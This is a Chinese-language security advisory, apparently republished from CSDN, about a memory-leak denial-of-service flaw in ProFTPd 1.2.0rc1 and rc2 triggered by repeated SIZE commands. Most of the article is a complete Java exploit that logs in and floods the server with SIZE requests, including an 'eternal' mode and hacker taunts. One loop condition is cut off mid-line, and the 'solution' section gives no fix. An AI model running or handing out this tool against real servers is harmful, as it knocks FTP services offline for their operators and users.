ProFTPd 远程拒绝服务漏洞

运维 系统运维
ProFTPd 远程拒绝服务漏洞:ProFTPd 是一款非常流行的 FTP 服务器,但是发现它存在一个安全漏洞,允许恶意用户对它进行拒绝服务攻击。本文讲述的是ProFTPd 远程拒绝服务漏洞。

  ProFTPd 远程拒绝服务漏洞 (APP,缺陷) :当 ProFTPd 执行 SIZE FTP 命令时会引起内存泄露漏洞。如果发送更多的SIZE 命令将引起拒绝服务攻击。以下是详细内容。

  涉及程序:

  ProFTPd

  描述:

  ProFTPd 内存泄露引起拒绝服务攻击

  详细:

  ProFTPd 是一款非常流行的 FTP 服务器。发现它存在一个安全漏洞,允许恶意用户对它进行拒绝服务攻击。

  当 ProFTPd 执行 SIZE FTP 命令时会引起内存泄露漏洞,如果发送大约5000次 SIZE FTP 命令到服务器中可能引起 ProFTPd 耗费超过300KB的内存。如果发送更多的SIZE 命令将引起拒绝服务攻击。

  以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负

  1.   */  
  2.  
  3.   import java.net.*;  
  4.  
  5.   import java.io.*;  
  6.  
  7.   class TCPconnection {  
  8.  
  9.   public TCPconnection (String hostname, int portnumber) throws Exception {  
  10.  
  11.   Socket s = doaSocket(hostname, portnumber);  
  12.  
  13.   br = new BufferedReader (new InputStreamReader (s.getInputStream()));  
  14.  
  15.   ps = new PrintStream (s.getOutputStream());  
  16.  
  17.   }  
  18.  
  19.   public String readLine() throws Exception {  
  20.  
  21.   String s;  
  22.  
  23.   try { s = br.readLine(); }  
  24.  
  25.   catch (IOException ioe) {  
  26.  
  27.   System.out.println("TCP Error ... it's a little hax0r exception ;-)");  
  28.  
  29.   throw new Exception ("\nInput Error: I/O Error");  
  30.  
  31.   }  
  32.  
  33.   return s;  
  34.  
  35.   }  
  36.  
  37.   public void println(String s) {  
  38.  
  39.   ps.println(s);  
  40.  
  41.   }  
  42.  
  43.   private Socket doaSocket(String hostname, int portnumber) throws Exception {  
  44.  
  45.   Socket s = null;  
  46.  
  47.   int attempts = 0;  
  48.  
  49.   while (s == null && attempts   
  50.  
  51.   try { s = new Socket(hostname, portnumber); }  
  52.  
  53.   catch (UnknownHostException uhe) {  
  54.  
  55.   System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");  
  56.  
  57.   throw new Exception("\nConnection Error: " + "unknown hostname");  
  58.  
  59.   }  
  60.  
  61.   catch (IOException ioe) {  
  62.  
  63.   System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");  
  64.  
  65.   }  
  66.  
  67.   attempts++;  
  68.  
  69.   }  
  70.  
  71.   if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ...");  
  72.  
  73.   else return s; }  
  74.  
  75.   private final int maxattempts = 5;  
  76.  
  77.   private BufferedReader br;  
  78.  
  79.   private PrintStream ps;  
  80.  
  81.   }  
  82.  
  83.   class proftpDoS {  
  84.  
  85.   public static void main(String[] arg) throws Exception {  
  86.  
  87.   InputStreamReader isr;  
  88.  
  89.   BufferedReader tcld;  
  90.  
  91.   String hostnamez, username, password, file, s1, option;  
  92.  
  93.   int i, j, k;  
  94.  
  95.   isr = new InputStreamReader(System.in);  
  96.  
  97.   tcld = new BufferedReader(isr);  
  98.  
  99.   System.out.println("ProFTPd DoS by JeT-Li -The Wushu Master-");  
  100.  
  101.   System.out.println("Code in an attempt to solve Fermat Last's Theoreme");  
  102.  
  103.   hostnamez = "";  
  104.  
  105.   while (hostnamez.length()==0) {  
  106.  
  107.   System.out.print("Please enter the hostname/IP: ");  
  108.  
  109.   hostnamez = tcld.readLine(); }  
  110.  
  111.   username = "";  
  112.  
  113.   while (username.length()==0) {  
  114.  
  115.   System.out.print("Enter the username: ");  
  116.  
  117.   username = tcld.readLine(); }  
  118.  
  119.   password = "";  
  120.  
  121.   while (password.length()==0) {  
  122.  
  123.   System.out.print("Enter the password for that username: ");  
  124.  
  125.   password = tcld.readLine(); }  
  126.  
  127.   file = "";  
  128.  
  129.   while (file.length()==0) {  
  130.  
  131.   System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");  
  132.  
  133.   file = tcld.readLine(); }  
  134.  
  135.   System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");  
  136.  
  137.   System.out.println("1) Request 10000 size's to the server (it may be enough)");  
  138.  
  139.   System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");  
  140.  
  141.   System.out.print("Option: ");  
  142.  
  143.   option = tcld.readLine();  
  144.  
  145.   k = Integer.parseInt(option);  
  146.  
  147.   while (!(k==1 || k==2)) {  
  148.  
  149.   System.out.print("Option not valid, please try again: ");  
  150.  
  151.   option = tcld.readLine();  
  152.  
  153.   k = Integer.parseInt(option); }  
  154.  
  155.   TCPconnection tc = new TCPconnection(hostnamez, 21);  
  156.  
  157.   tc.println("user " + username);  
  158.  
  159.   tc.println("pass " + password);  
  160.  
  161.   if (k==1) {  
  162.  
  163.   for(i=0;i<10000;i++)  
  164.  
  165.   tc.println("size " + file); }  
  166.  
  167.   else if (k==2) {  
  168.  
  169.   for(i=1;i<100;i++)  
  170.  
  171.   for(j=2;j<((int)Math.pow(j,i ));j++)  
  172.  
  173.   tc.println("size " + file); }  
  174.  
  175.   tc.println("quit");  
  176.  
  177.   s1 = tc.readLine();  
  178.  
  179.   while (s1!=null) {  
  180.  
  181.   s1 = tc.readLine();  
  182.  
  183.   System.out.println("Attack completed ... as one of my friends says:");  
  184.  
  185.   System.out.println("Hack just r0cks ;-)");  
  186.  
  187.   }  
  188.  
  189.   }  
  190.  
  191.   }  
  192.  

  受影响的系统:

  ProFTPd 1.2.0rc1

  ProFTPd 1.2.0rc2

  解决方案:

  CNNS 为您提供完善的网络安全服务。

【编辑推荐】

责任编辑:zhaolei 来源: CSDN
相关推荐

2009-10-29 13:24:41

2010-07-16 15:01:53

2009-10-21 14:31:15

漏洞补丁

2010-10-09 14:59:30

2017-02-16 14:22:24

2009-02-03 09:06:26

2009-07-01 09:22:33

2009-10-22 11:28:38

2009-10-24 10:29:56

2009-12-03 14:52:27

2017-02-07 11:00:26

2009-10-27 14:17:49

2011-12-29 09:21:09

TomcatHashtable

2013-05-17 10:43:32

2009-10-29 12:27:54

2009-10-25 12:40:29

2009-10-22 11:36:55

漏洞补丁

2010-01-12 11:58:14

Cisco防火墙拒绝服务漏洞

2009-10-28 10:36:38

2010-10-08 12:21:22

点赞
收藏

51CTO技术栈公众号